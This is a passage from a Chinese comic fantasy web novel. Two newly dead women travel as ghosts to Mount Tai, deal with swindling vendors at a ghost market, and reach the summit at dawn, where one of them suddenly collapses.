陈献午做不到毫无留恋,但要真论起来,也只是可惜诸多努力付之东流了,她干脆道:“没有。”
“什么没有?我问了好几个……”
“都没有,没朋友没家人,不知道葬哪,手机命丧于车轮之下了。”陈献午一口气说完,故作伤心轻叹道:“可怜手机跟了我这个主人。”
江越人扯起嘴角干巴巴道:“哈哈。”
这是不相信啊,陈献午也没追着解释,无关紧要,但是这笑的还不如面瘫呢。
“你这人话这么多……”
即使没有说全,陈献午还是明白了她的意思,话多的不像没朋友,“不要以‘话’取人好吧,遇见你才话多的。”
“为什么?我看起来很像可以倾诉的人?”江越人拧眉,轻皱鼻子,好像回答的让她不满意了,就会赏给陈献午一个爆栗。
陈献午从前一直看人脸色做事,早就练就了十足的敏锐度,但现在不一样了,她选择视而不见:“因为你也喜欢某某谈那个综艺,因为你漂亮。”
“你怎么知道我喜欢看?”
陈献午抬手,五指捏饺子似的胡乱捏几下,故作神秘道:“我会算,掐指一算就知道了。”
江越人一脸狐疑,“你是不是之前在我旁边坐着?”
还挺聪明,骗不了。
“我又不认识你,我怎么知道你要挂了,还特意坐你旁边。”
“不要偷换概念,知道我喜欢看什么综艺和坐我旁边没有任何关联。”江越人面上不为所动,音量隐隐提高几分。
陈献午忽而顿住,顷刻间眸中一片了然:“你在装吧?”
“装什么?莫名其妙,我很real的,我最烦装*的人。”江越人翻了个白眼,即使这样,表情也没有崩坏。
“装冷酷啊,你看刚才不就露馅了。”
“我没有,没有!”大声但不承认。
陈献午暗戳戳举起右手,张开五指,欠了吧唧地折起一根:“哦!你没有,我有。”
啊啊啊啊啊,烦死了,江越人翻了个白眼,索性转回身子,直面前方。
少顷,江越人感觉胳膊被戳了两下,针扎一样麻麻的,随后一股凉意渗进骨缝里,余光瞥见陈献午正收回手。
“好凉。”冷感越来越重,就好像极地的刺骨寒风聚集成小漩涡钻进了她胳膊里。
陈献午:“娘?”
江越人咬牙切齿:“……再有第三次我真的会扁你的。”
“好了好了,我再也不说了。”陈献午抬起手还想再戳两下:“你不生气了?”
江越人猛地后缩半个身子,反应极大:“我什么时候生气了,你手里拿什么偷袭我?”
陈献午摊开手掌,里里外外翻转给她看:“我刚刚抓着你跑过来你都没说冷,怎么戳一下就冻住了,你逗我呢?”
“你看我像开玩笑的样子吗?总之,你别拿手指头戳我。”
“好吧。”陈献午敷衍答应,没当回事儿,只是以为她不喜欢肢体接触。
“女士们,先生们,欢迎您乘坐高铁动车组列车,列车运行前方到站是无河站,请下车的乘客带好物品准备下车,祝您旅途愉快。”
听到播报提示,陈献午抬眼看了看前面的滚动屏,正要抬起胳膊肘捣两下江越人,抬到一半又放下了,“下一站我们就下车。”
江越人也抬头看了两眼,没问什么,只回了一个:“嗯。”
她说完后靠在椅背闭目养神,现在虽是轻到能飘起来的状态,但早晨的那股疲惫仍然不减,反而愈加剧烈,浓郁的烦躁萦绕在心头,令她无法平静。
陈献午似有所感,也不管她会不会反感,握住了她的手。
微凉的触感通过陈献午的手心传到江越人手里,不似方才那么冷冽,沁润心脾的凉意遍及全身,神奇地消解了无名的燥郁。她心中暗自思忖,这人怎么哪里都怪,但却不叫人生厌。
俄顷,睡意渐浓,江越人眉间川字悄无声息地被抚平了。
“醒醒,快到了。”
一声轻唤,从无尽远处传来,由远及近,飘进耳朵里。
江越人睁开双眼,只几秒眼神便已清明,也不知睡了多久,舒服得让她不想醒来。
陈献午见她已醒,便站起身,穿过高铁的铜墙铁皮,到达站台。江越人跟在后面,刚一伸出头就被灼得退了回去,惊魂未定地摸了摸脸。
陈献午见状又穿了回来,“怎么了?”
“好痛,外面有阳光。”江越人说完便想到陈献午方才大赖赖站在外面,一点没受影响,这人真的死了吗?
陈献午看她神情不似作假,联想到这些天的事,可能自己这情况是独一份的,绝不是因为什么新手加持。
“你行李里有没有
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要紧的东西?我去帮你拿来。”陈献午语速飞快。
“手机,别的没什么。”
“好,跟紧。”
陈献午贴着墙壁才走两步,又听江越人道:“算了,都是身外之物。”
陈献午透过玻璃窗看着能煎鸡蛋的地面,忧心忡忡。
现在也出不去,要是有把伞就好了,要是那扇门在就更好了,陈献午脑海里刚划过这个念头,那扇门就闪现出来。
“太好了。”陈献午惊喜道。
她握住把手推开门,一脚跨进门内,“快进来。”
江越人不疑有他,跟在后面走进去。
所有人都不见了,一眼望去,只有空旷静谧的车厢。
“咦?”一道声音在后面响起,是不属于她们俩任何一人的低沉嗓音。
二人一起回头,门前多了个眼底青黑,身形飘忽扭曲的青年男子。
青年男子边揉眼边打哈欠,舌头都没捋平,发自内心地疑惑道:“都下车了吗?”
没得到回答,他便看向前面站着的两人,刚一扫到江越人的脸,顿时瞪大眼睛,惊诧不已:“你不是已经……”
陈献午没等说完,快走两步,眼疾腿快将他踹了出去。
糊涂蛋倒退几步,看了看周围,又揉了揉眼睛,眼花了吗?怎么感觉好像人突然全都消失了,只剩两个女生,然后这些人又突然出现,唯独没有那两个女生。
他走回自己的座位,发现自己紧闭双眼坐在那,剧烈的惊吓让他心脏随身体“噗通”倒地。
落下的瞬间,他猛地抽搐,一睁开眼发现自己坐在座位上,惊魂未定的糊涂蛋毫不犹豫抬手扇了自己几巴掌,好一会儿才冷静,嘟囔道:“这梦太吓人了。”
......
“吓我一跳!”陈献午拍着胸脯,默默吐槽道。
江越人:“……被吓着的应该是那人才对吧,你那一脚,我看可一点没收力。”
陈献午回想刚刚那一脚,撇撇嘴,不置可否。
江越人看着空荡荡的车厢,明明是大白天,却感觉阴森森的,像恐怖电影中的场景。
她眼里闪着光好奇道:“你这是什么特殊技能?小叮当?”
“欸?!怎么可能!“陈献午不屑,谁要当圆头圆脑的蓝皮猫,她把两只手摆成花状放在下巴处,”我是小花仙。“
“果然看走眼了吗?“江越人产生了自我怀疑。
陈献午大手一挥:“这也不能怪你,常人确实很难发现,再加上我隐蔽得比较好,放宽心啦。”
江越人十分庆幸方才没有将她‘不叫人生厌’的话说出口,“我是说,你不讨厌谁讨厌。”
面对突然气急败坏的江越人,陈献午表示宰相肚里能撑船,看她生气挺有意思,面无表情的时候太无聊了,都不像“活”人,有些人,生来就应该是鲜活的。
“哈哈。“
江越人深吸一口气,这家伙就是故意的,骗了她一次这么记仇。
列车慢慢发动,陈献午指了指外面:“走吧,小花仙带你去投胎。“
江越人:不想走,但是不得不跟着她。
二人穿过列车到达外面,太阳依旧高悬,江越人再没有半点不适,方才的炙烤之痛仿佛只是错觉。
陈献午回头看了眼江越人,见她好好得在阳光下站着,便开始自以为正确地科普起来:“我跟你说,咱们到地方直接投胎,你也不要想什么头七了,那些传说都是骗人的,根本不会让你回去看家人。“
殊不知,她是个特例,除了她,别人都有阴差指引,也都会在头七被阴差带回阳间最后看一眼家人。
5. 第 5 章
“这又是哪里打听来的?”
“这还用打听吗?都跟你说了,我本来就知道。”陈献午信誓旦旦,不知哪里来的自信,连她自己都搞不清楚。
江越人回想这短短时间内陈献午展示出的各种稀奇古怪的能力,知晓万事倒也不稀奇了,再怎么不合理的事情,在她身上也能说得通。
陈献午带着江越人七绕八拐,四五个小时终于走到了泰山……风景区入口。
上次来还是一家三口,有说有笑地爬山,如今却物是人非。
期间走错好几次,陈献午镇定自若,全靠路牌和忙猜,完全没被江越人看出来她在乱走,这样跌跌撞撞的试探竟真让她寻到了终点。
抬眼朝远处望去,峰岩累叠,山峦起伏,山体以擎天捧日之姿傲然而立。峰顶隐没于云烟,其间绿林繁茂葱郁,本该回荡在山涧中得鸟鸣却一声也无,寂静得散发着诡异。
“还行吗?要不要歇歇?”陈献午问道,她虽没觉得累,但不能不顾同伴。
江越人稍微有点喘,平息了一下才说:“没问题。”
“这石头不错,坐坐看。”陈献午指着不远处的一块大石走过去,刚一坐下就发出舒服的轻叹,“好像沙发啊,快来。”
江越人也走过去坐下,石头哪能跟沙发比,她有些羡慕陈献午的苦中作乐的心态。
虽只是一块石头,但江越人坐上去确实缓解了腿脚的压力,要是能有张床躺一躺就更好了。
“怎么样?是不是还行?”
江越人点点头,感受到陈献午灼热的视线,她又“嗯”了一声。
刚坐下没几分钟,天空骤变,厚实的云朵霎时疏散又聚集,疾风推着云快速划过,向远处飘去。
俄顷,风定云墨,天向昏黑。
黑色纱幕占领了整个大地,明亮而寂寥的山脉早已不辨踪影,吵闹混杂的声音从四面八方传来,瓮声瓮气得听不真切。
陈献午和江越人早在天空乍黑时便站了起来,警惕地看向四周,二人此刻才对这个幽冥世界有了实感。
“没事,我们往山上走。”陈献午本意是想让江越人稳住别怕,谁料她一转头,江越人坦然地好像回家了。
陈献午讪讪一笑,也是,对死亡都无所谓的人,怎么会怕这风吹草动。
行至半山腰,熙熙攘攘的声音越来越近,不时传来几句响亮的吆喝声,“你买不了吃亏,买不了上当,真正的物有所值啊。”
嘶,耳熟。
“快走,前面挺热闹。”陈献午兴奋得像八百年没赶过集,兴冲冲地奔过去。
她倒也不是想凑热闹,就是好奇鬼集什么样,卖些什么东西,活着哪有机会见识这个。
这鬼集整的跟人间夜市似的,人山人海,摩肩接踵,热闹沸腾,各种吆喝声不绝于耳。
最边上的青色长衫佝偻小贩眼神不可谓不好,老远就瞧见了陈献午和江越人过来,立刻更卖力吆喝:“来,瞧一瞧看一看了啊!正版疾速符,买二送一,还有附身符,传音符等等,各种功效任你选择,走过路过不要错过。”
青衣小贩不仅眼神好,眼力见更是一绝,打眼一看就知道这是两个青瓜蛋子,人傻元宝多,放走了就没机会再骗到了。
陈献午听见疾速符的时候,还以为自己走错片场了,门开错整到修仙频道了?她脚步一顿,还想再听两句,有没有别的什么符。
江越人目不斜视经过,陈献午看着她的背影不禁疑惑,怎么走走就瘦了。
一愣神儿的功夫,江越人越走越远,陈献午赶忙跟上。
“哎,两位仙子!”青衣小贩高喊一声,一个回头都没得到,他绕过摊位追赶上去,拦在二人面前,佝偻的背更矮一分,“两位仙子天人之资,芙蓉虽美,却不及二位螓首蛾眉的万分之一,想不想了解一下小店的驻颜符,只要十……”
“不想。”江越人冷声打断施法,往右移了一步,继续前进,陈献午偷摸竖了个大拇指跟上。
青衣小贩没有就此放弃,再度跟上,在旁边喋喋不休,“别急着走啊,这个符真的很有用,别看你们现在花容月貌,过不了多久就会长青斑了,只要用我这……”小贩话未说完再度被打断。
“哦,那咋了。”江越人斜眯一眼,不咸不淡道。
青衣小贩一哽,悄悄提了口气继续推销:“你们就不想永驻青春?现在购买,买一赠二。”
小贩使出终极杀手锏——诱惑大法,他就不信这两个女孩顶得住。
陈献午停下脚步,“我觉得我们挺青春的,欸~你这有脱毛符吗?”
“?有!”小贩以为有戏,高昂热情地回道,这家伙没有也得有,就是不知道什么癖好,竟然要脱毛,脱谁的毛?这种问题,像他这种死了几百年的老古董是不会懂的。
“那有来无影去无踪,开着奔驰去兜风符吗?”
“也有!”小贩暗暗记下这一听就吊炸天的名字,准备日后大量贩卖。
“是嘛,那遇事不决量子力学符也有吗?”
“这个……当然有了,应有尽有,只有你想不到,没有我弄不到的符。”青衣小贩摇头晃脑,好不得意,甭管她说的什么,有就完了。
“哇!那你还挺厉害。”陈献午给他竖了两个大拇指,抬脚欲走。
小贩急忙伸手拦住陈献午道:“哎?我说我有。”
“哦,你有,有呗,我又不买。”陈献午无所谓地回道。
“不买那你问这么多,就这么走了?”
“不行吗?谁规定问了就得买?还是说这条路你买下来了不让走?”
陈献午刚走两步又退回去,抱臂正色问道:“你知道你是什么吗?”
青衣小贩被问住了,犹疑不定地说出答案:“……鬼?”
“对喽!鬼怎么可能拿着符随便用呢,你当我们傻吗?”陈献午伸出一根手指左右摇了摇:“还有哦,别白费力气了,我们俩加起来都凑不出一个子儿。”
小贩一挥手,态度一百八十度大转变:“没钱你不早说,穷鬼逛什么鬼市,得亏没有白瞎我这好东西。”
陈献午觉得好笑,怪不得没生意呢,“切,你懂个屁,算命的说我福气在后头呢,无良黑心商家,你的报应倒是不远咯。”
竟然骗不到,小贩恼羞成怒,一甩袖子走了,“两个初出茅庐的臭丫头,迟早要栽。”小贩边往回走边嘀咕,像是笃定这两个人日后会吃大亏。
陈献午切磋完“嘴”艺,昂首阔步向前进,眯起眼睛回忆自己刚刚两米高的气势,走着走着发现好像少了什么?江越人呢?原地自转一圈都没看见她的影子。
这家伙,一天的交情呢,竟然不等人,自己一个人溜达去了。
陈献午往前突进,直到转了个弯才看见江越人,她站在一个小推车前面,巨大的黄色牌子上写着鲜艳醒目的几
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个大字——正宗臭豆腐。中间的地名不知所踪。
陈献午走近一看,哪里是什么臭豆腐,分明是巨无霸大肉串。
一块肉有拳头那么大,滋滋冒油,那四溢的肉香不打招呼,肆无忌惮地闯进鼻腔,让人完全沉醉,甚至想与之不离不弃,生死相随,永不分离。
陈献午强行将视线从大肉串上扯开,转到柱子上,这才发现小推车边上还贴着一张纸,甚至都不是白纸黑字,而是黄裱纸加朱砂,上头歪歪扭扭地写着——人畜无害,童叟无欺。
也不知是为了和推车的大招牌统一风格,还是就任性,无所畏惧。这个标语从纸到内容,全都震碎了陈献午的三观,太豪横了!
这没法不让人好奇老板到底是何人,陈献午再次挪开视线,透过烟雾望向老板的脸。
只一眼,就给陈献午带来了巨大的冲击,快来个人把她戳瞎。
这是她有生以来第一次见到长得这么复杂的生物:额头横着一张阔如窗子的大嘴,一张开嘴,让人有种要被他吞下脑袋的幻视感;耳朵紧贴大嘴两旁,来回扇动似在捕捉动静;嘴巴下面先是鼻子后是眼,鼻子倾斜四十五度,眼睛上下对齐排列着。
女娲造人都没这么敷衍,就像是有人把五官抛掷空中,用脸去接得到的成果。
老板眼珠转悠着与陈献午对视上,他忽然伸手将鼻子挪正,还耸了耸。
呕~
为免冒犯到老板,陈献午不着痕迹小心谨慎地挪开视线,视觉冲击和精神冲击双重袭来,实在抵挡不住。
我天奶呀!她到底做错了什么,要遭此正面暴击,而且被冒犯的明明是她,却还要照顾冒犯者的心态。
“要买肉串吗?只要两个金元宝。”巨嘴一张一合,画面极其骇人。
陈献午:“???”她条件反射顺着声源抬头,又一次遭暴击,光速低头认错。
辟邪都嫌磕碜的形象,为什么声音清澈如泉,干净撩人,声线中还暗含笑意,实在太割裂了!
“咱走吧。”陈献午偷偷扯住江越人衣服下摆,用气音说道。
“我饿了。”江越人像个没有感情的吃饭机器,眼里只有肉串。
陈献午怀疑她根本没有看到老板的脸,“我给你找其他吃的,这个不好吃,臭的酸的。”
“哈哈,怎么会呢,在这里,你找不出第二家比我这个还好吃的。”
陈献午听这声音都想捂住耳朵了,肯定是妖精做法蛊惑人心,她怀疑再待一会儿,这老板就要变成花美男了。
“我想吃这个。”江越人反手抓住陈献午胳膊摇晃,眼睛仍是盯着铁板上的肉串。
陈献午才注意到,江越人的胳膊怎么细成竹竿了。
但是这个老板真的很吓人,陈献午别无他法,抹开江越人的手,拖住她的脑袋直视老板的脸,哪知她看了后竟毫无反应,压着陈献午的手又低下了头,对肉串盯盯。
怎么办?江越人定是已经被蛊惑了,还有什么办法。
有了,陈献午两手一摊,理直气壮道:“我们没钱!”
“没钱啊?好可惜呢。”陈献午一喜,对!就是这样,快赶我们走,骂的难听也不介意的。
“那只能送给你们了。”
怎么不按套路出牌,陈献午竟从这话语中莫名其妙听出了宠溺,但一想到那张脸就满身鸡皮疙瘩。
大哥,你敢送,我也不敢吃啊……
6. 第 6 章
“这么的吧,肉串呢我就不要了,你就给十个金元宝将就一下,这事就算完了。”陈献午尽可能吊儿郎当地说完整句话,喉咙中泄出一丝不易察觉的颤抖。
第一次当混混,没经验,不会露馅吧。
江越人冷不丁出声:“为哈不要啊,我得要!”
陈献午生无可恋地闭上眼,迷魂计还带改口音的效果呢?本来以为你只是神志不清,这分明是没有神智啊……知道这是什么肉吗,你就敢要。
“都给,还想要什么?”老板的惊人巨嘴一张一合,冒着泡的清甜嗓音完全不像是从那里发出来的,喉咙长到脑门了?
“老板,你拿话筒了?”陈献午没好意思直接问是不是变声器,但她实在太好奇了,这会不会是套的假皮囊,可是很真实啊,怎么做到的?
“何为话筒?”
竟然连话筒是什么都不知道,陈献午半抬头,刚好平视老板的下巴,目光与之相撞,靠,忘记他眼睛长在下巴上了!
讲真,谁能帮个忙把她戳瞎,猝不及防吓得心落半截,还怪不了任何人,怪只能怪她自己不长记性。
按他的形象做个灵魂出窍周边,商机不就妥妥地来了吗。
陈献午飞速低下头解释道:“话筒是我七舅姥爷,马上要上小班了。”
她无语地闭上双眼,这说的什么乱七八糟的,混乱中她还记着要扮演小混混,于是又指了指江越人:“对了,也给她十个。”
“没问题,你需要我把你七舅姥爷拿来吗?”老板诚恳发问。
“不用!千万别费事!不敢劳驾您!我七舅姥爷在舞台上过得如鱼得水,好的很。”
黄金不值钱了吗?随便就送二十个,还跟我玩四两拨千斤,陈献午发觉自己气势变弱了,必须要找回场子。
找回场子第一步——强硬的姿势,藐视一切的气场。
陈献午打开肩膀,挺起胸膛,双手叉腰,做足了心理建设抬头直视老板眼睛……不行!做不到!她改为直视嘴巴,这很正常,近视的人不看嘴巴不知道对方在说什么,就是这样。
找回场子第二步——先发制人,抓他把柄,然后宽恕他。
陈献午换上‘你已经被我看透了’的表情,漫不经心开口道:“你跟我说实话,我不会告诉别人的,这摊子是你偷来的吧!?”
“姑娘说笑了,在下好做善事,对落难之人施以援手只是个人爱好,还望姑娘成全。”
这张嘴,再看一万遍还是心里发毛,“哈!哈哈!哈呵呵呵……你人还挺好,哈哈,那我不成全的话岂不是成坏人了。”
“给我吧。”江越人迫不及待伸手要肉串,挂机之后突然上线领任务奖励?这是清醒还是不清醒啊?
陈献午正要阻拦,江越人已经接过肉串背对着她吃起来了。
“这是野猪肉。”老板递了一串到她面前,细长的柳枝从袖子里探出,手没露一丁点。
陈献午仔细看了看,好像确实没什么问题,可以放心让江越人吃了,但她没有接过,而是摆摆手道:“我不饿。”
老板也不勉强,把串放回案上,他慢条斯理地解开腰上的荷包,说“解”这个动作合适也不合适,在宽大的衣袖遮掩下,一团墨色灰雾缠绕在腰带处,随着这团墨灰上下浮动,荷包慢慢与腰带分离,他将荷包放在案上道:“这里有二十个元宝,姑娘拿去吧。”
陈献午没想要他钱,本意是故技重施,让老板赶她们走,但气氛顶到这了,不拿不合适,“祝老板生意兴隆,发大财!”话未说完,她已拿起荷包打开了,这么小个包能装二十个?陈献午手伸进去掏了掏,能!
这荷包是个好东西啊,她居然见识到了传说中的乾坤袋,当真是内有乾坤。
“老板,这荷包你也不要了吗?”陈献午将元宝掏出来又放进去,反复把玩这个宝贝。
“嗯,送给你。”老板未有不舍,大方得让人怀疑即使把所有财宝都送了也愿意。
无人注意到,老板袖中隐藏的墨灰团状物质正无声无息悄然发生了变化。
说话间,江越人又吃完两串,三串九块拳头大的肉,一眨眼只剩签子,不知道的还以为她是饿死鬼呢。见她一副意犹未尽的模样,陈献午赶紧制止了她。
“老板再见,我们走了。”陈献午试探着道别,应该不会拦着不让走吧,这老板虽然长相复杂了点,惊悚了点,但到目前为止,他都没有要坑骗或伤害她们的意图。
“会的。”
陈献午:“?”她顿住几秒,反应过来老板的意思——会再见面的。陈献午没有反驳,她马上就要投胎去了,下辈子见到也不认识,只会再吓一跳。
她朝老板微微颔首,拽着江越人的衣袖离开。
在她转身后,老板缓缓抬起胳膊,像雨刮器一样摆了摆,那袖口伸出的分明是骨节分明,五指修长的一只手,可惜陈献午没注意到这一异样。
陈献午一边走一边掂量手里的荷包,她低头看了看自己的穿着,想想还是将荷包放进裤子口袋里,现代装挂个荷包在裤子上,要多奇怪有多奇怪。
虽然荷包不大,但还是将裤子撑起一个小鼓包。
江越人在她侧后方亦步亦趋跟着,面上的满足感快要溢出,嘴巴都没擦,但却不油腻,像抹了镜面唇釉亮晶晶的,泛着光泽。
要不说好看的人披个麻袋都是时尚呢,要是换成那个老板没擦嘴,嘶~一身鸡皮疙瘩……
陈献午算是知道了,什么迷魂计都是自己脑补的,这姑娘正常的很,就是馋了,饿了而已,她调笑感慨:”没想到你还是个吃货,看见吃的走不动路。”
“我不重口腹之欲。”江越人平静道。
不是,靓女,这话说出来你自己信吗?
陈献午:“OK!明白!那你一直这么能吃吗?饿是什么感觉?”
“我从来没吃过这么多,饿就是肚子里空了呗。”
陈献午:“?……那我不饿说明肚子里满着呢?”感觉她说了句废话。
死后这几天,陈献午从来没感觉到过饿,也不知道她和江越人到底谁不正常。
穿过人声鼎沸的喧闹鬼集,沿着山路向上爬,连盏路灯都没有,浓郁的黑笼罩着大地,无尽的孤独裹挟而来,还好有另一个人分担一半孤独。
第一次尝试摸黑走山路,陈献午倒是没怎么害怕,自己就是鬼,更不必怕鬼了,阴间又不会冒出个恶人来。怕只怕漆黑的尽头没有她想去的地方,而是是连大地都触不到
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的深渊。
虽然看不到江越人的脸和身影,但听着两种脚踩地面的声音就觉得心安,带着节奏感的交错轻声踩踏,直踏进心底,带着四肢百骸都放松舒展开。
陈献午本想说点什么,打破这寂静,只要她不说话,江越人更不会说了。
但这样安静地赶路也不失为一种享受,于是陈献午止住了念头,没打开话头。
带着炎气的暖风拂过,像泡温泉一般舒缓,紧接着便是刺骨的阴风刮卷而过,不免叫人一激灵。
陈献午感觉到江越人似乎打了个摆子,她转过头问道:“你冷了吗?”
回答她的是一片安静。
不对劲!
她使劲瞪着眼,缓慢地转过身,试图从黑暗中捕捉到危险。
一声轻咳从正面传来,“有点,你离我远一点。”
陈献午立刻后退三尺,刚一站定,重物摔落的声音在身前响起,紧接着一声“咔嚓”和哀嚎前后几乎不差时从同一方向传出来。
抓到了!
陈献午蹲下来,顺着嚎叫声帮忙按住了可疑鬼,呦!还是个老熟鬼。
她嫌弃地揪着老鬼的袖口,用他自己的手按住嘴,仰头对着黑漆漆的夜空道:“你演技不如我,咳的有点假。”
“我是实力派那一挂,武担。”江越人的声音从陈献午刚刚站的地方传来,依旧是宠辱不惊的冷淡,说完她还拍了拍手,约莫是在掸灰。
这移动速度够快的,刚撂倒老鬼就弹开了。
陈献午又转头对着江越人实际站着的方向道:“那咱俩是天生一对的好搭子,文武双全了。”
这老鬼也不继续哭嚎,暗戳戳听她们俩说话,这会儿安静了,他就装死。
“你不是符挺多的吗?用它脱身啊,正好也叫我们开开眼,有用我就抢……买几张。”陈献午也不绕弯子,搞假装不认识那一套,张口就是嘲讽。
“您想要自然得多送几张了,走的急没带遁地符呢,不然肯定给姑奶奶表演一番。”被人按在地上了,佝偻小贩依旧主打一个死不承认,他的符就是有用的。
“你还蹬鼻子上脸,给脸要脸了!说,为什么跟踪我们,想打劫?”陈献午掐住小贩脖子恶狠狠问道。
青衣小贩心中叫苦不迭:这俩青瓜蛋子生前干那路子的吧?这么犀利,早知道不打她们主意了。
在鬼集上他一直在偷偷观察这两个人,看到卖臭豆腐的丑八怪给了一个荷包给她们,他操练了几百年的眼光多毒辣,一眼便知道这是好东西,所以在她们走后便偷偷跟上了。
“仙姑饶命,您真的误会了,我也顺路,就是想过来打个招呼,真的,我对天发誓,否则死无葬身之地。”
“这熟练的,没少发誓啊?”陈献午冷嗤一声。
他都死多少年了,谁知道葬没葬,乍一听还真会被他唬住。
“哪个男人没发过誓。”小贩瓮里翁气嘟哝道。
离得较近,陈献午听清了他的话:“这倒是,自我认知挺清晰啊。”
小贩嘿嘿一笑:“托您的福,瞬间开窍了。”
又是福……陈献午如今已经很难把这个字理解成褒义了,“姥娘福如东海,福泽深厚,让你小子蹭到了。”
7. 第 7 章
小贩人精似的,在这地界摸爬几百年,虽然见不着人,但见鬼说鬼话的本事一流,当即就要抛出压箱底的好话拍马屁,奈何陈献午根本不给他这机会,“既如此,报酬我就自己取了。”
陈献午在他身上翻翻找找,几十张符捆成摞藏在怀里,她拿在手里也看不见是什么符,干脆全收了,留着以后骗鬼。
除了符咒,她还摸到了几锭金元宝,,但她没拿,陈献午自认新时代五好青年,不会干这种偷鸡摸狗的强盗行为,完全忘了刚才是谁把符咒揣兜里了。
黑灯瞎火按着一个鬼讲话也是蛮奇怪,陈献午揪着衣领拎起青衣小贩,准备把他双手反剪在背后,谁料刚把手按在他后肩,小贩毫无预警地鬼喊起来,吓她一跳。
“喊什么,再喊把你嘴撕烂。”江越人强硬的语气让人毫不怀疑她真会这么干。
“仙姑,您饶了小的吧,您让我跪着趴着都行,这样太疼了。”
小贩刚被开了背,那佝偻老骨险些断了,此刻脑袋不管不顾往前顶,顺着骨头弯折方向垂下去。
陈献午恍然大悟,怪不得刚刚被按在地上的时候,他不停地往一边侧,还以为他想挣脱桎梏逃跑,所以她特意单撑一只脚,把整个人重量都压上去,压死。
陈献午看他哭得可怜,声泪俱下,比她们俩知道自己死了还难过。
哭声聒噪刺耳,陈献午大发慈悲松开了他被反剪在背后的手,转而把他头按在了地上。
“这样总行了吧,你们男人事真多。”陈献午想起刚刚那“善事哥”,向小贩打听道:“你认识臭豆腐摊的老板吗?熟不熟?”
“您打听那个丑八怪干什么?”
“别瞎打听,问你就答。”
“这一片儿我都熟,以前从来没见过他,不知道哪冒出来的。而且他那个摊位一直是空的,今天突然出现。仙姑,我把知道的都告诉你们了,他的来历我真不清楚,更详细的,我马上回去就打听,不会耽误您一点。”
陈献午听完陷入沉思。
果然……他的摊子很有可能真是偷来的,有钱也不会买个旧臭豆腐摊卖肉串啊。
哎,希望他能发家致富,换个高档的餐车吧。不过以他复杂的长相和‘倾囊相授’的作风来看,可能性不大。
“不用打听了,你知道阴曹地府驻泰山投胎办事处在哪吗?”陈献午越往上走,越觉得这里不像办投胎业务的地方。
“什么处?”小贩从没听过这么长的名字,几个词都知道,和一起是什么却是理解不了,“您能再说一遍吗?”
陈献午:“在哪投胎?”
小贩刚说一个“这”,就被江越人的大声质疑盖过去,“你不是知道在哪吗?谁之前拍胸脯保证的!”
“我不是想看看他撒没撒谎嘛……”陈献午心虚回道,她又加重按在小贩头上的力度,“你说。”
“这里不能投胎啊,仙姑您是在哪听说的?这么不靠谱。”
不靠谱的陈献午开始头脑风暴,该怎么和江越人解释……
“我当然知道,那我考考你,正确的投胎地点在哪里?注意,这是一道分值高达一分的填空题,答对了就放你走。”
“真的吗?您一直往……”小贩陡然收声,卡机了一样可疑地抽搐两下,音调更加低沉:“对不起,我不该骗您,其实就在泰山上,你们沿着这条路往上走就行了。”
陈献午心思百转千回,早知道刚刚更肯定一点回答江越人了,“你确定吗?”她用手按住小贩后背加重了力道。
小贩闷声道:“非常确定,就在这上面,我不敢有半点欺瞒。”
陈献午松开手,嫌弃地拍了拍后站起来:“滚吧。”
小贩一骨碌爬起来,头也不回地逃走,不愧是鬼,脚步声很快便消失了。
“我就说在这吧。”陈献午摸摸鼻子,“欸?你练的跆拳道还是散打?”
“截拳道。”
“功夫大师传人,果然厉害!”陈献午真没想到江越人还是个练家子,古井无波的眸子里一点犀利劲都没透出来,饶是她没接触过,却也听说练武皆以眼为先锋,一般这类人眼神都很锋利,所以真不怪自己眼拙。
练过也不算真正意义上的传人,江越人没有纠正她的说法,“快走吧。”
“哦。”
二人继续赶路,脚步匆匆间,陈献午想到一个问题,她们俩为什么不用飘的,身份赋予的特殊技能不用就浪费了,腿走就显得很蠢。
她双脚离地三尺,听着脚步声飘到江越人身旁,正要开口,江越人停下问道:“怎么不走了?”
“狗……”陈献午原本想说狗耳朵,一想不对啊,狗鼻子说的是嗅觉,好像没有狗耳朵形容听力好这个说法,“go!go!go!你也上来吧,别用腿走了。”
江越人听到她的声音从上面传来,瞬间想明白了,也试着飘起来,很新奇的感觉,仿佛化做一个氢气球往上缓慢飘起,但又有不同,她能随意控制方向和高度。
虽然飘起来了,可她觉得自己还是有重量的,并不只是一缕魂。
新鲜的尝试让她不自觉弯起嘴角,只可惜天太黑,陈献午没有看见,不然定要大呼小叫,夸大其词。
江越人想象陈献午的神态举止,不禁笑意更深。
“走吧。”江越人说道。
“你应该说——飘吧。”陈献午纠正之后接着激动举起手,摆成超人姿势,不过她是直立的状态,说不出的奇怪,“快飘快飘!胜利就在前方。”
江越人却是横向的姿势,小时候看的电视剧,里面演员就是这样飞的。还是得感谢天黑,让她没看见陈献午的姿势,不然肯定要被她带偏。
“对了,你拉着我的衣角,防止我们速度不一样。”陈献午把衣角递给江越人。
江越人拉住后,二人便接着出发了。
陈献午死后至今,还没这么畅快的飞过,不由越来越兴奋,越飘越快,一不小心飞过头到了山顶。
此时天将明未明,微弱的天光让她们恢复了一点视野,二人站在山顶大眼瞪小眼,陈献午又心虚了,挪开视线更显得理不直气不壮,她只好盯着江越人的死亡视线继续对视,甚至瞪大了眼。
最后是江越人先挪开目光,极轻地叹了口气,还能说什么呢,面前这个‘瞪着眼的傻缺不靠谱’的预感出现
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那么多次了,她没放心上,现在只能认命。
江越人与陈献午打交道学到的第一课:越是不懂的人越喜欢不懂装懂,不要和傻子计较。
她往山崖处走了几步,放眼远眺,朦胧的黑色笼罩着整个世界,近处还是大片暗沉的墨绿,目之可及的远方却仍然深陷黑洞,正在努力挣脱。
陈献午像个做错事的小孩,走到江越人旁边,看她目视前方一动不动,就也学着她的样子凝望,也不知道她在看什么,也可能在冥想。
什么也看不清,陈献午看了一会儿便闭上眼睛。
早晨的天色一会儿一个样,没多久,被涌动云雾拥抱的山峦便挣脱黑暗跳出来,起起伏伏延至天边,好像山水画活了似的。
东方的光亮更盛,橘红色太阳冉冉升起,照亮云海上的山尖尖,黑暗被驱散得一干二净,世界好像重启了一般。
江越人深陷眼前的震撼难以自拔,难怪“有眼不识泰山”要拿泰山作喻,这巍峨壮观的泰山之形只有亲眼见了才会具象化。
“咚。”
突如其来的声响将她拉回现实,只见陈献午直挺挺地躺在地上,双目紧闭,江越人赶紧俯身察看,这么大的动静,还好不是肉体凡胎,不然高低得个脑震荡。
江越人慌乱地轻拍她的脸,没反应。
怎么办?第一次遇到这么棘手的情况,给鬼做心肺复苏不知道有没有用。
